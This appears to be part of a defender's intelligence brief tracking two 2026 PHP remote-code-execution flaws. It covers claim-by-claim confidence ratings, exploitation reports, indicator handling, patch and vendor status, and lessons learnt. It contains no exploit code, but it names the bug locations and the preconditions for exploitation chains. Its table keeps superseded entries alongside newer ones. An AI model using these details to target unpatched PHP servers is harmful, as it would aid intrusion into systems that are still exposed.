The mitigation debate is closed by the vendor. PHP developer Gina Peter Banyard: "no PHP2Shell mitigations would fully block potential attacks". That is now the official position and it retires the earlier three-way disagreement about whether disabling upload_progress was sufficient.

The repository population reached 161 — from 35 at 09:10 and 102 at 13:35. Two significant changes to previously cited entries are detailed in the exploit-availability section: one repository was deleted and one renamed itself out of the blocking business.

↑ Back to contents

Confidence calibration

What the advisory settled, and what it did not

The project's standing rule is to state what is missing rather than round up. Until 13:44 UTC almost nothing in this brief was high-confidence, because the vendor had published nothing. That has changed for root cause, affected range and fixed versions — and has not changed at all for exploitation.

ClaimConfidenceWhy
Two CVEs exist and PHP rates them 9.2 CVSS v4.0HighPHP's own advance notice, CERT-EU, and multiple independent outlets
Release shipped 21 Oct, ahead of the 14:00 UTC scheduleHighObserved directly on php.net at 13:44 UTC — five entries appeared, four releases and one advisory
Exploited in the wild, at scaleHighSix independent sensor operators, including Hadrian's explicit "at scale" and Cloudflare's pre-patch observation. Upgraded from Medium.
Unauthenticated RCE demonstrated against PHP-FPMHighStated by the PHP security team on oss-security; stronger than the GitHub advisory, which left FPM at "susceptible by source analysis"
The 8.5.12 fix is incompleteUnresolvedOne social post, no reproducer, no technical detail, and a second-hand "not a real issue" from PHP. No vendor reply in the archive at 02:00 UTC.
Discovery belongs to Wiz ResearchHighThe vendor-side write-up names four researchers, dates and the coordination list; supersedes the earlier "Calif discovered it" reading
No successful compromise confirmed anywhereHighwatchTowr explicitly says nobody has succeeded yet; no vendor has reported a victim; KEV unchanged
Discovery credited to Calif, Wiz and OpenAIHighReporting at 10:07 ET is explicit; the advisory's reporter handles include Wiz and OpenAI staff
No confirmed exploitation as of 14:00 UTCHighwatchTowr, Huntress, ACSC and NCSC-NL independently; KEV and NVD checked directly at 14:00 UTC, both still empty
Exploit code is publicly availableHighDownloaded and hashed it ourselves
Fixed versions 8.5.12 / 8.4.27 / 8.3.36 / 8.2.35HighUpgraded from Medium. Beaumont named all four on 20 Oct; PHP shipped exactly those four. The leak beat the vendor by twenty hours and was right.
Affected range is "PHP 5 onward" / "from 2004"MediumAdvisory states affected ranges only for the four supported branches. PHP backported to 7.4/8.0/8.1 but made no statement about 5.x/6.x.
Root cause is a heap use-after-free in the session callbackFalsifiedNeither advisory places the bug there. It was self-published, needed a per-build offset leak, and the author's own ASAN run never fired.
The cited php-src line numbers are realHighTwelve references re-checked by us against PHP-8.4 at 06:45 UTC — all match
The bundle is being re-uploaded; no stable checksumHighThree hashes observed directly across two measurement windows
The published heap-UAF PoC does not achieve executionHighTwo independent laboratory reproductions agree, and the author's own ASAN run is negative
Session poisoning reaches RCE only with an app include() sink and cleanup=0HighReproduced independently; it is a pre-existing technique, not a new mechanism
No network IOCs existRetractedThis brief asserted it from four feeds. VulnCheck and AWS both published host indicators on 21 October. The feeds were silent because they index infrastructure, not attacking hosts.
Exploitation attempted on 17 Oct, pre-disclosureMediumOne vendor's honeypot record with a date and an address; no corroborating sensor and no explanation of the actor's lead time
VulnCheck/AWS host indicators identify the attackersMediumFour of the eleven are shared anonymisation or VPN egress that AWS explicitly says not to block; one is an apparent authorised self-scan
Root cause of 109618 is OOM bailout corruptionHighGHSA-w8hw-w9fx-j79w, and the 8.5.12 changelog entry "Avoid state corruption via bailout"
Root cause of 109619 is stale worker-global stateHighGHSA-6wmf-4rv5-p3rp; session.upload_progress named as a confirmed consumer, not the cause
Which CVE is which issueResolved109618 = OOM corruption; 109619 = stale global state. Both advisories name their CVE explicitly.
A heap-UAF exists in var_destroy on destructor reentryHighRead by us from PHP-8.4, 8.2 and 7.2: the unlocked i_zval_ptr_dtor and the parser-state reuse branch are both real and long-standing
That defect is one of these two CVEs, or yields pre-auth RCEUnconfirmedNo vendor statement; the code predates the leak by years, every chain needs an application sink, and the escalation step is asserted rather than demonstrated
A missing serialize_lock in zend_user_unserialize()HighVerified by us in PHP-8.4:442–461 and PHP-8.2:438; no increment anywhere in that file, unlike the __wakeup/__unserialize paths
That bug is one of these two CVEsUnlikelyNo CVE assigned by its authors; PHP's 2017 policy excludes unserialize() memory corruption from security releases
watchTowr reproduced CVE-2026-109618MediumReporter-relayed statement from two outlets; watchTowr's own FAQ states no reproduction status and no PoC has been published
OpenAI and Wiz participated in coordinationPartly confirmed@sagitzadik-wiz and @amyb-oai are credited reporters. The institutional claim holds; @calif_io's own role does not appear in the credit.

What we could not verify

No PoC was executed and no active scanning was performed against any target in producing this brief.

↑ Back to contents

Lessons learnt

What this case teaches

Four weeks of tracking, from the leak on 20 October to the 18 November check, keep returning to the same short list. Each lesson below is drawn from the record above; where the record is still open, it stays open here.

Attempts, successes and compromises are three different claims

Six sensor operators saw attempts within hours of the patch. The first confirmed shells were on honeypots built to the exploit’s preconditions — one worker and a tight memory limit — not on production hosts. Both named-victim claims were withdrawn within days, and the first vendor-confirmed compromise arrived three weeks in, and it was a couple of dozen gateways, not a mass breach. “Exploited at scale” and “no confirmed victim” were both true at the same time. A briefing that merges the three claims will overstate the damage and understate the risk in the same sentence.

Quote the count with its denominator and its caveat

GreyNoise’s 1,304 is shell-start records, not distinct newly exploited hosts — the +32 on 17 November were miner commands on shells already established. Delft’s flat total was a frozen feed, not a quiet network. Censys’s 29 million is scannable servers, and version strings under-count patching because backports keep old numbers. NCSC-NL’s 972 is products, not hosts. The record above refuses throughout to add different measurements together, and each time a count moves it says what moved and what did not.

The tail is the exposure

Two weeks on, nearly two-thirds of the scannable base was still flawed, and roughly 110 million instances sit on end-of-life PHP that will never be fixed. The harder problem is the embedded estate: appliances and vendor platforms whose PHP runtimes routine patching never reaches, tracked product by product in the NCSC-NL inventory. Assume you run PHP, then go and check the boxes you cannot log into.

A leaked embargo is a footrace, and the prepared win it

The CVE IDs leaked twenty hours before the patch; an exploit bundle was downloadable within hours; a pre-disclosure attempt was recorded on 17 October; Chainguard shipped patched images six hours early. The coordinated release held, but the window between “known” and “exploitable” compressed to hours, and the defenders who had inventory and a patch path ready were the ones who used it.

Verify the PoC before you run it — and before you cite it

Of 1,091 public repositories, only three of 23 reviewed engaged the advisory’s actual mechanism; the rest re-implemented the older session-plus-LFI technique. The two most-starred artefacts were a partial and a mislabelled one. The withdrawn bundle’s checksum never matched the file it advertised. One repository claiming three patch bypasses was LFI by construction. Star count was anti-correlated with accuracy. The same discipline governed claims: PAN-OS was held as unverified until Palo Alto published, and the “no IOCs” line was retracted when the feeds’ silence turned out to be a statement about four feeds, not about the world.

An ETA is not a shipped fix

Trend Micro’s Apex One and Apex Central ETA of 11 November passed unmet; the first patches to land were Japanese 2019 editions only. Deep Discovery Analyzer slipped from 12 to 18 November. Fiery’s FS800–FS500 target of 9 November still has no shipment confirmation. The one ETA that beat itself was Cisco’s, moving two wireless fixes from February–March 2027 to available now. The forcing function that worked was the KEV listing: both CVEs listed 26 October with a 29 October deadline, and CVE-2026-123039 listed 13 November with a 16 November deadline.

Keep the indicator sets apart, or the blocklist will hurt the wrong people

CYFIRMA’s three sets carry different handling: staging addresses to monitor, tooling addresses that are a commodity crowd, scan nodes that may include victims. The distinction did not survive republication — an OTX pulse merged all 54 under one nation-state label — and reputation scores ran inverse to significance: the staging set’s median AbuseIPDB score was 10% against 63% for the tooling set. The two addresses with packet-to-process RCE evidence appear nowhere in the 54. Source-IP geolocation is not attribution, and a block built from either set alone protects against neither.

Keep the mitigation after the patch

The third RCE, CVE-2026-115560, is not fixed by the 21 October releases, has no NVD record, and is held for the regular cycle; the same session.upload_progress.enabled=0 setting covers it. And a stopgap can cost you your detector: memory_limit=-1 blinds the OOM-fatal signal that is the best early indicator of the 109618 chain.

The standing advice has not changed through any of it: patch to a fixed release, restart every worker, leave the upload-progress mitigation in place, and hunt process parentage. The root-cause dispute, the retractions, the third CVE, the appliance exposure and the indicator set all moved around that core.

Still open at the 18 November check: the CVE-2026-115560 fix (PHP 8.6.0 GA due 19 November); the unconfirmed claim that 8.5.12 is incomplete; the 62-versus-54 IOC reconciliation; Fiery FS400–FS300 shipment; and Trend Micro’s DDAN and TMMS dates.

↑ Back to contents

Source register

Everything this brief rests on

Source register — click to collapse

↑ Back to contents

← Back to main page